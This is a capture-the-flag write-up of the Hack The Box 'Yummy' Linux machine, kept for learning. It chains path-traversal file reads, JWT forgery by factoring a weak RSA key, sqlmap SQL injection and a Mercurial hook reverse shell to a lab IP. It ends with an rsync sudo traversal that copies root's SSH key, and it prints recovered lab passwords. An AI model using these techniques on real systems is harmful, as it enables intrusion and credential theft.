> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2026-03-27

Hack The Box — Yummy (Linux)

LFI in iCalendar export, JWT/RSA weakness for admin access, SQLi in admin dashboard, then Mercurial hook abuse and rsync sudo misconfiguration to retrieve root SSH key.

Target

  • IP: 10.10.11.36

Recon

sudo nmap -sC -sV 10.10.11.36 -p- -T5 -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-server-header: Caddy
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://yummy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add yummy.htb to /etc/hosts. Go to http://yummy.htb, register, and log in.

Initial File Read (LFI)

Book a table and click save iCalendar. We see a request like:

GET /export/Yummy_reservation_20241023_125640.ics HTTP/1.1

Modify it to:

GET /export/../../../../../../etc/passwd HTTP/1.1

We get /etc/passwd and notice users dev and qa.

If we manually keep changing and sending, we get internal server error. So automate it with attached script attachments/get_file.py.

python3 attachments/get_file.py /etc/passwd
python3 attachments/get_file.py /etc/caddy/Caddyfile
:80 {
    @ip {
        header_regexp Host ^(\d{1,3}\.){3}\d{1,3}$
    }
    redir @ip http://yummy.htb{uri}
    reverse_proxy 127.0.0.1:3000 {
    header_down -Server
    }
}
python3 attachments/get_file.py /etc/crontab

From this we notice:

*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
python3 attachments/get_file.py /data/scripts/app_backup.sh
#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
python3 attachments/get_file.py /data/scripts/table_cleanup.sh
#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
python3 attachments/get_file.py /var/www/backupapp.zip

In Python code, write binary output to disk:

with open('backupapp.zip', 'wb') as f:
    f.write(res.content)
unzip backupapp.zip

It is a Flask application.

JWT Forgery to Admin

Back on yummy.htb, check cookies. There is X-AUTH-Token, a JWT.

Header:

{
  "alg": "RS256",
  "typ": "JWT"
}

Payload (example):

{
  "email": "test12@test.com",
  "role": "customer_13a2b37f",
  "iat": 1729687485,
  "exp": 1729691085,
  "jwk": {
    "kty": "RSA",
    "n": "102699208744460325175641931142940360576113681020591507331454475709088342898983857625529376208172208714283898049966469357099162334379431002188812538974638576847440875401477969315431011656273295234789951928276121572999277488020583556373082707938217723875301537388471311858619865434798392140554372366276754363795768381",
    "e": 65537
  }
}

The RSA modulus n can be factored, so we can recover the private key.

Looking at source code:

if current_role is None or ("customer" not in current_role and "administrator" not in current_role):

So we can forge a token with role administrator_13a2b37f. See attached script attachments/exp.py.

To run it on Kali, I had to use an Ubuntu+sagemath Docker image.

FROM ubuntu:jammy

RUN apt-get update && DEBIAN_FRONTEND=noninteractive
 apt-get install -y \
    python3 \
    python3-pip \
    sagemath

RUN pip3 install pwntools pycryptodome
docker build -t mysage .
docker run -v "$(pwd):/test" --network=host -it mysage

Inside container:

pip install pyjwt pyasn1

I also attached VS Code to the container to run/debug the script.

Download rsatool.py:

  • https://github.com/ius/rsatool

Run exploit:

python3 attachments/exp.py

Copy the new token into the browser. Go to http://yummy.htb/dashboard. We get redirected to http://yummy.htb/admindashboard.

SQL Injection in Admin Dashboard

In app.py:

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS

}

So stacked queries are possible.

In admindashboard code:

                # added option to order the reservations
                order_query = request.args.get('o', '')

                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql, ('%' + search_query + '%',))
                connection.commit()
                appointments = cursor.fetchall()

There is SQL injection. Run a search, intercept request with Burp, save as request.txt.

sqlmap -r request.txt -p o
sqlmap identified the following injection point(s) with a total of 989 HTTP(s) requests:
---
Parameter: o (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
    Payload: s=aaaaaaaa&o=ASC,(SELECT (CASE WHEN (9961=9961) THEN 1 ELSE 9961*(SELECT 9961 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: error-based
    Title: MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)
    Payload: s=aaaaaaaa&o=ASC,EXTRACTVALUE(3742,CONCAT(0x5c,0x716a7a7871,(SELECT (ELT(3742=3742,1))),0x7170707071))

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: s=aaaaaaaa&o=ASC;SELECT SLEEP(5)#
---
[18:51:03] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
sqlmap -r request.txt -p o --dbs
[*] information_schema
[*] performance_schema
[*] yummy_db
sqlmap -r request.txt -p o -D yummy_db --tables
+--------------+
| appointments |
| users        |
+--------------+
sqlmap -r request.txt -p o -D yummy_db -T users --dump

The table is empty.

sqlmap -r request.txt -p o --os-shell

This does not work.

QA -> Dev -> Root

From repository data:

/var/www/app-qatesting/.hg/store/data/app.py.i
'user': 'qa',
'password': 'jPAd!XQCtn8Oc@2B'

Connect with SSH using these credentials.

sudo -l
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/
cd /dev/shm
mkdir test
cd test
hg init
echo '[hooks]
post-pull = bash -c "bash -i >& /dev/tcp/10.10.16.59/4444 0>&1"' > .hg/hgrc
chmod -R 777 /dev/shm/test

Start listener:

nc -vlnp 4444

Trigger as dev:

cd test
sudo -u dev /usr/bin/hg pull /home/dev/app-production/

We get reverse shell as dev.

ssh-keygen -f mykey

Copy mykey.pub to .ssh/authorized_keys and set permission:

chmod 600 authorized_keys

Connect via SSH:

ssh dev@yummy.htb -i mykey
sudo -l
Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

Exploit path traversal through rsync source path:

sudo /usr/bin/rsync -a --exclude\=.hg '/home/dev/app-production/../../../root/.ssh/id_rsa' --chown='dev:dev' /opt/app/
cat /opt/app/id_rsa

Copy it into root_key and set permission:

chmod 600 root_key
ssh root@yummy.htb -i root_key